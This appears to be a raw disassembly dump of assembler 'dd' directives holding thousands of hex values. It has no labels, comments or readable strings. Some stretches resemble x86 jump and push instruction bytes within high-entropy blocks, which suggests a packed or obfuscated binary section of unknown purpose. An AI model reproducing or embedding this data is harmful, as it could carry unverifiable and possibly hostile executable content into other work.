		dd 0D9D91195h, 41h, 0E4EA3F11h,	9140511Dh, 4C3624C3h, 0A69BBAB1h
		dd 2445570Ch, 17503AA5h, 71C4B968h, 462899A7h, 0A74FE6DBh
		dd 48702899h, 30CBB5B9h, 76C3281Fh, 7A2899A7h, 5F6B574Ah
		dd 71D91138h, 0F9h, 0A5CB37A9h,	0E35247F6h, 0D4226F7Ch
		dd 0C0187269h, 0D2813044h, 3C15E3EDh, 2C217270h, 22707A09h
		dd 0F24C43AEh, 20150AB9h, 0CB22707Ah, 0B8533D3Bh, 788EB6h
		dd 736A7B16h, 20E6CD35h, 55D4758h, 40D973FDh, 0E235195Bh
		dd 5F5F8DEAh, 6F9378EAh, 0B41910BFh, 22702F0Ah,	0C271FF03h
		dd 29171E13h, 3DA82270h, 7E843C46h, 63B808F2h, 669D6B1Ah
		dd 9087220Ch, 0F3F4C271h, 0EBE27D67h, 4613B486h, 8A20D24h
		dd 8FD0358h, 0B9AE5D6Eh, 2A6E7E30h, 7D584EFh, 51E4D9FDh
		dd 6622758Ah, 563BEAFBh, 4BEAF207h
		dd 0E1EBE269h, 9399DB29h, 6462E302h, 0D7A1ED47h, 0C000001h
		dd 2EE680DCh, 49019BD3h, 661EB8BAh, 863ED8A0h, 805CF67Eh
		dd 0A2D232B6h, 0C1B55008h, 0E2786F27h, 0FE729048h, 70657E64h
		dd 289F7CC5h, 569565FAh, 82D3A571h, 7D7422A9h, 15AFC53Fh
		dd 31CBA55Dh, 0A1EA3F5Fh, 56B5FDF2h, 8FFA2445h,	0A71326A5h
		dd 0ADDD2899h, 37FCCEBAh, 0F8C6D911h, 63746BEFh, 0D3h
		dd 7988569Bh, 79700BF5h, 0BFA9C73Bh, 0EDD79D67h, 6F7F506Eh
		dd 0B3BD4522h, 0CFA16119h, 0F74095E5h, 69E75348h, 0B0D82445h
		dd 730D1E52h, 76256EC3h, 276F4091h, 18ED55FDh, 37564D5Eh
		dd 6DFE0842h, 9F4EB92Ah, 0A74133D1h, 0F5C6400Eh, 0DE79630Dh
		dd 6E79E8CDh, 8F2242DCh, 2CAA5A98h, 75CAFE37h, 4556C122h
		dd 632A603Fh, 438FE964h, 102h, 11ABB137h, 2CC6A859h, 49E38F74h
		dd 69037591h, 872153B1h, 0A75DE1ABh, 8A7B33CDh,	4D9A52ECh
		dd 47BB730Dh, 90A98F29h, 9F7E9A9Bh, 0B8881D28h,	8BD3CD37h
		dd 4ED460F7h, 9645F405h, 6F9E94A1h, 1CEC2B22h, 0DFA40167h
		dd 0C2B76677h, 22700C73h, 0D8E2D944h, 0F48EE220h, 7EB7AC5Bh
		dd 4122700Ch, 3787DFD6h, 28F6A5CBh, 48A299DDh, 0AF5E12F0h
		dd 644E20E1h, 18C8D2C9h, 1CCB7AC3h, 0C4BBB34Eh,	408B965Fh
		dd 0FBE2924h, 0CAB4A641h, 0A5DE382Fh, 743401F6h, 208B289Fh
		dd 9C17EB29h, 87220C68h, 0DE24DC76h, 0A529A892h, 0B659D6A9h
		dd 0B74B2114h, 13250AB9h, 68627CC1h, 0A4191C11h, 339E9A55h
		dd 69212B22h, 88E81A99h, 0A451E4D9h, 0FB669A55h, 0F9C700EAh
		dd 36746B0Dh, 2BF9A8D0h, 4CA69DDBh, 0B00AFC8h, 9A55A42Ah
		dd 0B054228Dh, 483FDAC4h, 0A35F3528h, 877B33CDh, 3B3FFE9h
		dd 0F1000000h, 0B137D62Eh, 9969C1ABh, 5295EDD7h, 3FC61E08h
		dd 0FF54D37h, 0E1237B65h, 0B551A993h, 8281D9C3h, 53AE06F0h
		dd 5316311Bh, 0C381E389h, 4, 4BD55h, 0EB290000h, 241C875Dh
		dd 0E189515Ch, 4C181h, 0E9830000h, 240C8704h, 240C895Ch
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B9242C89h, 3F954AA6h
		dd 7287BF57h, 0F9213A59h, 41D1F75Fh, 0CF18141h,	68C3C145h
		dd 69D9h, 81242489h, 42404h, 525D0000h,	868h, 0EA015A00h
		dd 0FF5A0A89h, 835D2434h, 0C8B04C4h, 0E0895024h, 405h
		dd 4C08300h, 5C240487h,	0FA7B75E9h, 0A475AFFFh,	0D9C3A8DEh
		dd 9785EA17h, 300227B8h, 0FFC50306h, 4B6E95E0h,	1B59814Eh
		dd 9F1B071Fh, 2DC52B57h, 889530Bh, 5695C72Fh, 8BE9013h
		dd 0D1C1283Bh, 0E812A371h, 0ED8D8D79h, 6A063003h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0DFDBC353h, 0B2602981h, 58589C8h, 61062A15h,	1115BD89h
		dd 8D89062Ah, 62A3395h,	9E9h, 0C4325F00h, 0D215A830h, 85C72BB4h
		dd 62A0BF9h, 68F4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 2EC35040h, 6499B9B8h,	23118D29h, 85C7062Ah
		dd 62A06C5h, 0
		dd 9E9h, 79818F00h, 0D5EEB148h,	0B5FF88F2h, 62A239Dh, 0EE9h
		dd 0D397A100h, 0CC37C740h, 32D8B560h, 89FF87F7h, 2A0639BDh
		dd 0C195FF06h, 6A062A05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0B663C351h,	31EF649Dh
		dd 2A0E919Dh, 11E806h, 94970000h, 8EABBE2Ah, 0E4EB7584h
		dd 73BE425Fh, 18D7414h,	2A2301B5h, 6A5A06h, 343995FFh
		dd 0C08B062Ah, 0A7C10DEBh, 308C602Dh, 8AC60CC0h, 0E9B73503h
		dd 15h,	21EA0C9Ah, 4 dup(0)
		dd 52AE900h, 0CF190000h, 0C63BF38Dh, 0AD560EA8h, 93732BC5h
		dd 71934BE5h, 0C38D6903h, 15AFC53Fh, 34CEA85Dh,	55EF6B7Ch
		dd 710B659Dh, 0B87D728Bh, 0FF289F80h, 0CB379A6Ah, 0A163BBA5h
		dd 818139D3h, 0B05B40EFh, 0FDB38B37h, 1D55AE7Ch, 47A19833h
		dd 735D13EFh, 9E88E61Bh, 13E9DC7Eh, 4D281EFh, 264CB700h
		dd 99902B15h, 0DC28F68Fh, 953FAE98h, 0AEEC6E6Ch, 0C301F809h
		dd 0E49C3624h, 156D5703h, 189C86F0h, 0E1D031FFh, 59435406h
		dd 5F13F0BEh, 7F554868h, 7543F268h, 0E2ECE38Dh,	90A59A49h
		dd 2722705Eh, 7B87C5BCh, 0AE8C0BF5h, 2222705Eh,	0AF1B07FAh
		dd 21D2E7EEh, 5Fh, 0A5CB3759h, 7CFF3CBBh, 0A8CF226Fh, 0BEAE4DC3h
		dd 0D3CA280Bh, 0F6D4C0B3h, 0DAD2E755h, 13h, 8EA79C4Bh
		dd 31226FB9h, 0B9023328h, 4AB5226Fh, 37EA4239h,	27F5A4CAh
		dd 10AB95DBh, 0E968F22Bh, 837AD5B1h, 3E30D129h,	6E0AFC54h
		dd 0CFC26484h, 5CA908F9h, 0BEBA4C1Ah, 0A75B13ADh, 565D2FC9h
		dd 0CF67A88h, 0C83C7A71h, 976AC2ACh, 555FEDD7h,	3F788C62h
		dd 29C4AEC4h, 0C5BA6918h, 226F7D70h, 0DBE5DC47h, 0A791DF23h
		dd 0FBEB44Fh, 955E442Ah, 0BFB6D08Dh, 0E7DA0A65h, 0E7A6DFFBh
		dd 0CF3503D2h, 2920BBA5h, 7018h, 0CD375000h, 9E65BDA7h
		dd 29CAEAD4h, 0E4CE8C5Bh, 3F325249h, 3FD99B69h,	0CA3A7D87h
		dd 715B15EDh, 0CAB4C5D6h, 0FAE49472h, 907C6F9Fh, 0D2E7084Ah
		dd 80A6h, 0CD37DE00h, 8265BDA7h, 8293553Ah, 1F7CF25Ch
		dd 70700B2Ah, 3041AC22h, 0C4C89C81h, 0E034A3B5h, 0CB378FE9h
		dd 9E63BBA5h, 4E58E6D0h, 0F181425Bh, 98DC28FEh,	88E61BE9h
		dd 20C039Eh, 6A715630h,	2E63BDC6h, 7CE3815Ch, 0BACB9086h
		dd 0F27C85C3h, 7CB18908h, 0F51D2270h, 0B79C4B02h, 0E36DED86h
		dd 1A1B1030h, 0D1226FDCh, 0BD584234h, 55950BBh,	0D2E76CC5h
		dd 80Bh, 56AE7C00h, 0A299341Eh,	0B2A7564Ah, 226F7D83h
		dd 4ED0D951h, 0C9CB252Ah, 0DA29675Eh, 0AC56AE98h, 3C56DAC4h
		dd 25907349h, 0E98394DEh, 0EC9BE439h, 45A253F7h, 0B7A10C24h
		dd 33CDA35Fh, 564B877Bh, 2899DDDFh, 8587D314h, 0A01F091Ah
		dd 2899DE9Bh, 2BE2D565h, 67976A46h, 261D4ECAh, 0CD821AE8h
		dd 0E54ABC93h, 2648B987h, 0FDE27B15h, 59636A1Ch, 518F865Bh
		dd 7DD5BFB1h, 0A1B92E85h, 3D32E190h, 289990F8h,	0B0A554BFh
		dd 28999185h, 7ED8CF3Ah, 0AE98E026h, 0DEC8B056h, 3A100393h
		dd 23BEA8C8h, 11040E12h, 7FB6AB5Ah, 74289991h, 77E2E490h
		dd 0B0C04280h, 0A1CF3301h, 5C4614D3h, 27C0CAC1h, 91B28378h
		dd 9A052899h, 423935CCh, 1121DCEEh, 0D0F4D9h, 97650000h
		dd 0BB130A50h, 0F2A1EA3Fh, 4559EDFDh, 5D47B224h, 0D973FD05h
		dd 0A58FE121h, 0D1BBB54Dh, 70463943h, 8EE02192h, 0B515E37Dh
		dd 1BD91132h, 3Bh, 9DE63F53h, 95713FEEh, 4E87ECE3h, 0F15D9084h
		dd 181D9C86h, 0FFA26F7Ch, 5BB48275h, 676E6312h,	18DD9082h
		dd 7D1B1A0Fh, 319C226Fh, 0D7C104Ch, 0B3C4F8AFh,	646D19h
		dd 3FAB0000h, 0FDF2A1EAh, 244573A5h, 0DF956F3Dh, 0F1635AF5h
		dd 0FC09D786h, 0D129837Ah, 0CA53F31h, 0C1ABC33Eh, 8CA29388h
		dd 0AA152899h, 9E64A299h, 7485EF15h, 8BB50B8Ah,	27B72899h
		dd 0CCA45E34h, 0E42D8232h, 87F54035h, 4F1D2A89h, 53C5BCB2h
		dd 5CA6FEE8h, 8CA62A14h, 2D76CB99h, 84AC897Eh, 0A8132479h
		dd 0EA3F3C0Eh, 7D270E03h, 0F6EB226Fh, 226F7D3Fh, 0A8131580h
		dd 6B39E897h, 0F50EDC9Ah, 1421867Dh, 0AB245F79h, 1CAC9140h
		dd 8FC78188h, 5D472DD7h, 60BAB1C2h, 0B2837827h,	5289F7Dh
		dd 9D65A39Ah, 818139D3h, 7CD95C51h, 73DE289Fh, 66CEB362h
		dd 3574BB38h, 0BDB74D1Bh, 0D7ED6CC6h, 40BE5B2h,	0EAB86F62h
		dd 0D6715B1Bh, 7161A1DFh, 59B8B97Ch, 2ED6FE44h,	0B0C15C46h
		dd 0B9290C01h, 238E4459h, 11DF7812h, 4D8B82F4h,	79D1BBB5h
		dd 573CEB8Dh, 1FCFD764h, 3429D8BDh, 445A5001h, 0FA544BB6h
		dd 93695C76h, 33DE2D6Fh, 0CA5411C1h, 9B671FB9h,	39FEBD5h
		dd 0DD000000h, 0B137D62Eh, 9969C1ABh, 5295EDD7h, 3FC61E08h
		dd 0FF54D37h, 0E1237B65h, 0B551A993h, 8281D9C3h, 53AE06F0h
		dd 5016311Bh, 405E089h,	83000000h, 43304E8h, 24043124h
		dd 5C240433h, 523368h, 240C8900h, 81E78957h, 4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 60B92434h, 811C0254h, 713F60E1h
		dd 5E1C14Fh, 59B85041h,	0C1125526h, 0F74008E8h,	826235D8h
		dd 0C10990EDh, 63C18158h, 83172D57h, 248904ECh,	24048124h
		dd 4, 5851505Eh, 58084689h, 5E2434FFh, 4C481h, 0C8B0000h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0FA74E9E9h
		dd 941A6FFh, 4AD2DB64h,	3008ABB8h, 0FFC50306h, 0AA0F61E0h
		dd 79B00C37h, 0FAEC315Dh, 0E675596Eh, 16E97Dh, 0BA7D0000h
		dd 4586h, 4 dup(0)
		dd 0BD8E9h, 0AF06800h, 0CFE90630h, 68FFFB3Fh, 6300BE4h
		dd 0FB3FC5E9h, 0D7F68FFh, 0BBE90630h, 68FFFB3Fh, 6300E88h
		dd 0FB3FB1E9h, 114968FFh, 0A7E90630h, 68FFFB3Fh, 63012AAh
		dd 0FB3F9DE9h, 13CB68FFh, 93E90630h, 16FFFB3Fh,	9CB44D98h
		dd 233BD4E3h, 0ACC45D62h, 374FE8FFh, 0F8DB7473h, 94535711h
		dd 1CA3E3FBh, 0A6396B83h, 33B0F50Dh, 0F006B39Ah, 16C63569h
		dd 271BEAE4h, 7DD33D30h, 5F65723Bh, 0E6A3A8DDh,	0C857785h
		dd 16C84C27h, 4E792BEBh, 0ACDC9316h, 14246315h,	0A6455291h
		dd 3C7B601Dh, 1FDCEC26h, 0E00BCD23h, 0BF008393h, 93F17CB2h
		dd 0EAC816CBh, 78AE57B1h, 3593A856h, 3D000000h,	8BCA316Ch
		dd 20687375h, 0E322E423h, 0AAFEE9EFh, 0EE184017h, 40002BBAh
		dd 39C40233h, 1016CBB6h, 769F6932h, 81A8565Eh, 7FAA3171h
		dd 0B6C7B2BFh, 71000000h, 0F01BA8DDh, 0CAF5CCB8h, 0A5D01792h
		dd 12AB386Dh, 0F6434EF4h, 23A0E51Ch, 3837728Ah,	8B4B764Dh
		dd 4805AED9h, 0C0E2463h, 7D232061h, 336C7CBBh, 0ABB979A4h
		dd 0E27D9AD6h, 41E0ED6Ah, 0D71685B8h, 0F8579FC1h, 4F8E501Ch
		dd 81044B3Fh, 2D571742h, 80406B78h, 469B8FCEh, 0A051EDB6h
		dd 8C0D43FEh, 11D1607Eh, 0DF9E7209h, 111ED09Dh,	972E5A72h
		dd 87E61DF1h, 0EBD40D63h, 9D2h,	8B24B3EDh, 12AB3C73h, 9B348BFAh
		dd 26BF0083h, 0B24B9A0Eh, 7430E8CFh, 0CCBCD46Dh, 46445CF5h
		dd 0DBCEE67Fh, 0DF8C730Ch, 0C63442C9h, 33C3BD16h, 811AA9DDh
		dd 0EA73C69h, 0CA316C20h, 6873758Bh, 9DAD2320h,	51567BECh
		dd 0B9EEB63Dh, 9DECFA07h, 0CC160087h, 7B97B16h,	79C8B8C8h
		dd 0F300B209h, 718175C2h, 0CB0606C3h, 994CAD7h,	0E016CC1Ch
		dd 466F9902h, 0ABA856F4h, 0B1h,	1BA8DD55h, 0F5CCB8F0h
		dd 42E68CCAh, 43681CF6h, 0F638A62Dh, 525F211Ch,	0C7606722h
		dd 0C2EDFAAFh, 1D9D8175h, 1AF1A5F2h, 0CA316C0Dh, 5456668Bh
		dd 99A66691h, 20546163h, 1A8B9B23h, 0CDDA9AC5h,	0DB64FDBFh
		dd 0E8FE3DA2h, 1CF8BDB5h, 7787C688h, 8175B433h,	5F12A67Dh
		dd 0A4435080h, 0A5226777h, 0E4C95066h, 8244109Fh, 82414575h
		dd 89430EDCh, 0D2BBF463h, 8DEh,	973087F9h, 1EB7007Fh, 0A7408706h
		dd 32CB1C8Fh, 0BE576E1Ah, 483CF4DBh, 0D8C8E079h, 52506801h
		dd 0AFDAF28Bh, 0EB987F18h, 0C6334ED5h, 3FCFC916h, 811AA9DDh
		dd 0EA73C69h, 0A3A8DD20h, 0A32266E1h, 5406B878h, 2FB4F129h
		dd 2EB5CBF0h, 0A91CF63Eh, 0B23BDAE7h, 0B0D514FBh, 0ADD8EFA0h
		dd 88B33075h, 0D30916C8h, 2320416Dh, 81B9E4A6h,	0F926BF04h
		dd 3B37BED4h, 1F9016CCh, 0D5DD9DC8h, 0D3D60613h, 3AEA7187h
		dd 0A36516CCh, 0A4BEB2F1h, 697E316Ah, 0CDD1DA5Bh, 0F0518FC0h
		dd 43AA4F6Fh, 1F8A9605h, 92172FC8h, 0EF1AA9DDh,	14527D2Fh
		dd 8347298Ah, 7F2D3D8Ah, 4C09470Ch, 0BA6CF203h,	46DAC1ADh
		dd 0BEEB8443h, 0DCE9FCAEh, 0BFEAF9ACh, 4723F181h, 0A6B6F383h
		dd 0F4B4DFE6h, 80A0FBE7h, 0F825BE05h, 2436BDD3h, 77B18347h
		dd 0C888B334h, 0ACD90916h, 0B2DDEA9Fh, 6C1540F2h, 758BCA31h
		dd 89713C87h, 0EC750ED0h, 0F50B4AB1h, 83473F7Fh, 0DF667CA1h
		dd 5A76F2D6h, 0A6316E98h, 9EC98B99h, 0F2D6D660h, 0CECDAB76h
		dd 7FB5933Ah, 49F7608h,	0C6200000h, 0BCF3030Fh,	0C07D1E2Bh
		dd 198C9CDBh, 0DCE3A0CAh, 9FE4F1B1h, 2065C789h,	0EFF6B823h
		dd 9BE77769h, 377835F3h, 0F48939EAh, 645F78Bh, 271712F0h
		dd 4E793B40h, 0C403E8A5h, 0C3EEF5B4h, 9BB1F603h, 39FD0BCFh
		dd 0D5E89AD4h, 0F938EAAAh, 0F722B9E9h, 0D5E52A37h, 627A13D0h
		dd 667D2827h, 23C97B3Bh, 8091F16Bh, 43311A53h, 5E000007h
		dd 0E4FC9520h, 6B831CABh, 0F40CA53Ah, 7F9730B7h, 4023BC0Bh
		dd 0DCEB9F59h, 647B2B43h, 0EEF1B3CBh, 7B483D55h, 384EFBE2h
		dd 16C630B1h, 0DDA2322Ch, 0A3F01BA8h, 8FCE1193h, 0F63DF279h
		dd 9EAB6D1Ch, 70303F6Eh, 0CC7E3E69h, 0B3F60633h, 0A490934h
		dd 0F63E6DF4h, 1926E81Ch, 0DB38h, 336CCA00h, 546489C8h
		dd 0A4648F56h, 0F63DED74h, 99A6681Ch, 0DD26CFF6h, 44830616h
		dd 604C5919h, 0C5C0D03Bh, 0A9F1FEh, 0E5AE7CD2h,	59h, 0C8336C8Fh
		dd 51546489h, 8251E136h, 0F4A6FC31h, 2827B1E7h,	0E6A81CF6h
		dd 0D51297A7h, 2A5F97C8h, 0B9EC049Dh, 0A2B2FF2Ah, 2DCEDBE2h
		dd 364C8B70h, 23204B58h, 0D294BF81h, 57A5A79Bh,	0B03F3F5Eh
		dd 98C30286h, 0BCDFCBD8h, 569BA54Ch, 788A8h, 2C320000h
		dd 0E4h, 52316CBEh, 0A1618C53h,	7B8BB0EFh, 0CB8BB609h
		dd 700E88BEh, 0AD6F2320h, 0B5695507h, 13FC3569h, 63Ah
		dd 0F38C5B55h, 7A13A4DBh, 39C2362h, 8E27B8EBh, 1AB33276h
		dd 0EC985037h, 64243CD5h, 0FEACC45Dh, 73364EE7h, 47F4DB74h
		dd 0C62FAA31h, 9B2B2516h, 2BC8336Ch, 0D5434204h, 0D69B42C6h
		dd 627EAE7Ch, 28000000h, 2BC8336Ch, 0A5B5F606h,	0F63E088Fh
		dd 0FC1831Ch, 0D01724E4h, 0FC9F0D74h, 398EFF0Fh, 0F9414E0Eh
		dd 0AE7CD6D0h, 3835h, 0A3C8DF00h, 0F63E068Dh, 7763811Ch
		dd 6CA10C0Bh, 0EA8B984Ah, 82A946B1h, 79483CEBh,	5493164Eh
		dd 3985429h, 4259C795h,	0F5BC54D8h, 35DD1F1Ch, 1AAE7C40h
		dd 0FFFFFEB2h, 0C8336CC4h, 1A69042Bh, 0F019EFACh, 55AE7CD6h
		dd 271h, 0EDF4B0C0h, 0EFF502C2h, 0EF1AA9DDh, 0C8F3F4B7h
		dd 0A0CB1290h, 78A33A68h, 45534886h, 0A8782361h, 344CE5FCh
		dd 358AF970h, 0FEAF5883h, 0CABCD211h, 1B23204Dh, 0CEA2E59h
		dd 0CE15918Fh, 8AF80835h, 0A5BB0833h, 16CC2F1Eh, 1825D799h
		dd 0FA25BCE8h, 0CC3031BCh, 0CD109216h, 303F6AA2h, 82426D74h
		dd 2004A5D0h, 0E1E6A57Bh, 0BB44F6B6h, 0AC33496Eh, 2716CC2Dh
		dd 2F6C5865h, 952EB5F1h, 8FBA097Dh, 0D4D0B7E6h,	7F95E20Dh
		dd 16CC2DF8h, 0F1FFB173h, 7DDE8889h, 81C07263h,	0C3BF465Ch
		dd 0ED0316CBh, 16CBC466h, 55171FE1h, 0FFED0348h, 481CF5DAh
		dd 0C6EC9F0Eh, 5EBC8B55h, 36CF8133h, 19AFF0ADh,	428BAF2h
		dd 72C6B1Dh, 0A1EE6AF1h, 1623E510h, 6CDBBD1h, 541616CCh
		dd 0D664EB29h, 115E0A77h, 0D64FD6ECh, 7BCA0A77h, 77D5DE65h
		dd 0E597590Ah, 0AFECD8h, 0E347024Dh, 0DC53933Ch, 0E7D5EB2Ah
		dd 3010A1DBh, 0C8BDD56Eh, 0ED98D0FBh, 88797D6h,	547F4847h
		dd 36D5E294h, 3186F909h, 98394606h, 0FCA29AE5h,	0FBD0E447h
		dd 0BAF40A49h, 9B0A7766h, 53A69AD9h, 0F170F03Bh, 96D3F905h
		dd 71230F2Ah, 0D6E63364h, 0CD0310D7h, 0FE231742h, 0D3D2E219h
		dd 0F721E10Ch, 392532B5h, 0F57FA662h, 41E2B0AFh, 4D000000h
		dd 4D784F3Dh, 9CC67F8Dh, 2C3B03ADh, 316C191Fh, 56668BCAh
		dd 0A4648F56h, 89B40B7Ah, 8486BCC9h, 0F5232068h, 3FCA0833h
		dd 1616CC13h, 7CA56338h, 87A856FDh, 8AB53277h, 0BCD2BDCAh
		dd 7C000000h, 0F01BA8DDh, 0CAF5CCB8h, 0A5D01792h, 81E386Dh
		dd 1CF63D81h, 49883AFCh, 38774C39h, 0F63C9B22h,	4754161Ch
		dd 41E48AA8h, 0E7B1CF6h, 0FFF320B9h, 0AEB469DFh, 17004374h
		dd 3A364957h, 49FBC0C1h, 0FDE29B3Ch, 99F3A8BEh,	8CA2322h
		dd 1094A4C9h, 1094C4D1h, 642038D1h, 860BB75Dh, 0C2FB69B2h
		dd 379D9h, 0CB1A9400h, 52651A32h, 0DBE0A1B9h, 66792A42h
		dd 0F2F1B5CDh, 0D98F7659h, 657D16ADh, 0ED059E25h, 778F28BFh
		dd 351CB532h, 2CEB7288h, 6C6616C6h, 0C7B8C8DCh
		dd 0FCC9E2F0h, 0DC070B82h, 0DCEB9FCFh, 0DBF11643h, 1CF5FF54h
		dd 88CE83C9h, 0E9F1AEF0h, 0BFEA1A27h, 0DDA18F28h, 0E8DC1BA8h
		dd 366FD5DAh, 7BACB901h, 0E8814643h, 0A3A8DDFAh, 0F6B6E1E6h
		dd 0A4E11944h, 40FD861Fh, 0CC061C5Bh, 76232062h, 0AF2BAB82h
		dd 0CBF31299h, 0BDCB8D16h, 0C9D62995h, 90CEF9BBh, 16CB7905h
		dd 6E9DFEDCh, 5B9A2D5Eh, 0CB78BE45h, 6A773916h,	5617FB22h
		dd 4D5EA8h, 6C080000h, 668BCA31h, 3DA42B41h, 5D1F1CF6h
		dd 68181A50h, 5E522320h, 4C35D21Ch, 5A557F3Eh, 95A2628Dh
		dd 7686C587h, 0C686B134h, 0BF4A88B9h, 9616CBE7h, 0FC25E3B8h
		dd 7A85680h, 235F8813h,	0E3F04BFFh, 0B6F8h, 57536300h
		dd 0DD7D8390h, 0DCE3A3A8h, 0C3C7FF2Ah, 0E4A1D904h, 1290A0DFh
		dd 3A68A0CBh, 0B3E4F1A3h, 20B90E7Bh, 0F6435C02h, 31B6F31Ch
		dd 0BE058098h, 4CB3EA93h, 0AAD8E80Dh, 46D00613h, 0C7232054h
		dd 0AAE36C05h, 35F00645h, 181CF8DCh, 0B8231756h, 30A15398h
		dd 0B4C40916h, 4058F1F0h, 31D77D44h, 0C1638950h, 2189F88h
		dd 7D330000h, 0C6B9D16Ah, 414058F1h, 0DAC9E17Ah, 50546C05h
		dd 2E15F891h, 16AF3672h, 9E378EFEh, 28C10486h, 0B54E9510h
		dd 840B21CEh, 0FF16C62Bh, 0A9DD7505h, 2EE0E7A2h, 0A35EFBEFh
		dd 39F39535h, 0F6229C23h, 0A355171Ch, 0AADFF796h, 6C96841Dh
		dd 0F5A16E31h, 83CF52F2h, 5D6D92D1h, 757F3B2Ch,	8B8C9214h
		dd 9496CCD9h, 5231FA2h,	4FDA1843h, 2616CB4Eh, 0CB55348h
		dd 0F1A85626h, 0E5h, 0A3A8DD9Bh, 65B2DDE2h, 0F63DC84Fh
		dd 0CF81431Ch, 31E3E0A5h, 0EE34FEF2h, 2C37075Dh, 396062B3h
		dd 0EBF8AA49h, 0BF0682BAh, 75374794h, 7A874772h, 0F5B99E44h
		dd 7370351Ch, 0C7C2DAh,	4D6388D5h, 1CF5AFC6h, 0D1727F41h
		dd 677DA29Ch, 1CF5AFE0h, 0E269995Bh, 5D1CF5AFh,	0B6AAE99Bh
		dd 2D271A4Ah, 0F035428Dh, 205250DAh, 0D00FD123h, 1AA2C5C0h
		dd 9617AF5Ch, 7B3B6618h, 1746CF6Eh, 2E4469A8h, 16CB4FA7h
		dd 0E536022h, 0F808DEF8h, 7EBD7F1Ch, 12AB3A6Eh,	91378EFAh
		dd 6387F681h, 0F7675089h, 12000000h, 98B0499Ch,	1F37D0E7h
		dd 0A8C0596Eh, 334BE4FBh, 0F4D77077h, 9057530Dh, 18AFDFF7h
		dd 0A225677Fh, 2FB4F109h, 0EC02AF96h, 16C62B65h, 0C856E6E0h
		dd 7F11E2D4h, 8592965Dh, 0F9925155h, 861FA4E1h,	2CD4C898h
		dd 7A3041CCh, 0A3E61623h, 0C4C1F924h, 9AC50287h, 68F28DAh
		dd 2DB4F057h, 1263C7Bh,	812325B2h, 80AB3071h, 0E3A5B3C0h
		dd 0E2697FA4h, 5D16C59Eh, 9F71F80Eh, 2AEC16C5h,	23A6B78h
		dd 8FA74087h, 874C401Ah, 0F48D8CBAh, 22A72E5Eh,	602216C6h
		dd 263683AEh, 0FB335E69h, 4909348Bh, 0D8758997h, 6C417B1Ah
		dd 27A9295Fh, 0B6F45A7Ch, 0DECC042Fh, 0F21CDC07h, 60012CB3h
		dd 95791F7Ch, 0A9DC4457h, 3C69811Ah, 47447CA7h,	7E314180h
		dd 0E72B5C69h, 99EEBCB0h, 97914083h, 23FD9E8Ah,	0B0C86166h
		dd 0C6DA92F5h, 0F83AF76Fh, 3321B46h, 0C4000000h, 0A3DD6E7Ch
		dd 0F4B1E914h, 1E8CC4EFh, 24649CC7h, 4E3A729Dh,	90144C77h
		dd 0BDEE2651h, 0C6C7FF2Ah, 0E19ED601h, 68EEABD6h, 22ECh
		dd 56243C89h, 0C681E689h, 4, 8704EE83h,	895C2434h, 6B68242Ch
		dd 89000003h, 0B9512434h, 63009C7h, 54595D51h, 8324348Bh
		dd 0FA6804C4h, 89000005h, 468F242Ch, 24348B08h,	81E28952h
		dd 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8950242Ch, 405E0h
		dd 4050000h, 87000000h,	0E95C2404h, 0FFFB3406h,	0C912CE89h
		dd 14E7B859h, 0C5030630h, 6366E0FFh, 0B41F432Fh, 4A7C3280h
		dd 0C6EB6DA1h, 0B7AD21F9h, 8D8D42F5h, 6301640h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 43C35646h, 668B24D1h
		dd 0C6B5D781h, 1BB5850Bh, 0C080062Ah, 958D898Fh, 6A062A33h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3B38C351h, 0F209E85h, 85C7DFB7h, 62A0BF9h
		dd 5874h, 85C7FBB7h, 62A06C5h, 0
		dd 8558D89h, 0B5FF062Ah, 62A0311h, 0E8AE53B8h, 0C195FF0Eh
		dd 6A062A05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0AA88C350h, 9E939h, 0DD4C0000h
		dd 49DB912Bh, 60734AE7h, 8A0Fh,	0BD890000h, 62A0D11h, 0FF006A61h
		dd 2A343995h, 0EBC08B06h, 203C3F0Dh, 7E6A2F5Ah,	5C97A40Ch
		dd 24EBE0ACh, 9	dup(0)
		dd 0BDE9h, 54B58900h, 8B063016h, 2A341585h, 3D858B06h
		dd 8D062A24h, 30169EB5h, 0D8858D06h, 0FF062D57h, 0E855C3D0h
		dd 0
		dd 0A4ED815Dh, 83063016h, 2A3415BDh, 850F0106h,	2Ch, 1654B5FFh
		dd 858B0630h, 62A243Dh,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 6301658h
		dd 54B5FF56h, 8B063016h, 2A243D85h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 301658B5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 3415BD83h, 0F01062Ah, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 630167Dh, 222D8589h, 0BFE9062Ah
		dd 20000000h, 943B3A78h, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 2Ah dup(0)
		dd 59E90000h, 6800000Bh, 6301997h, 0FA6611E9h, 1AB968FFh
		dd 7E90630h, 68FFFA66h,	6301BADh, 0FA65FDE9h, 1C0068FFh
		dd 0F3E90630h, 68FFFA65h, 6301D39h, 0FA65E9E9h,	1DBF68FFh
		dd 0DFE90630h, 68FFFA65h, 63020E2h, 0FA65D5E9h,	21CE68FFh
		dd 0CBE90630h, 0D8FFFA65h, 0FAB24C10h, 15CD6707h, 32EA84EEh
		dd 520AA4D4h, 4C28C2B2h, 6E06FE82h, 8DE91CD4h, 0AEAC3BF3h
		dd 0CAA65C14h, 3C314A30h, 289F94F9h, 375929BEh,	63BBA5CBh
		dd 8737D19Fh, 98B51532h, 0FD9D50FAh, 22483DECh,	9F24464Bh
		dd 6ECB4A34h, 82289A53h, 57735F52h, 79D911E0h, 41h, 0A1EA3FB1h
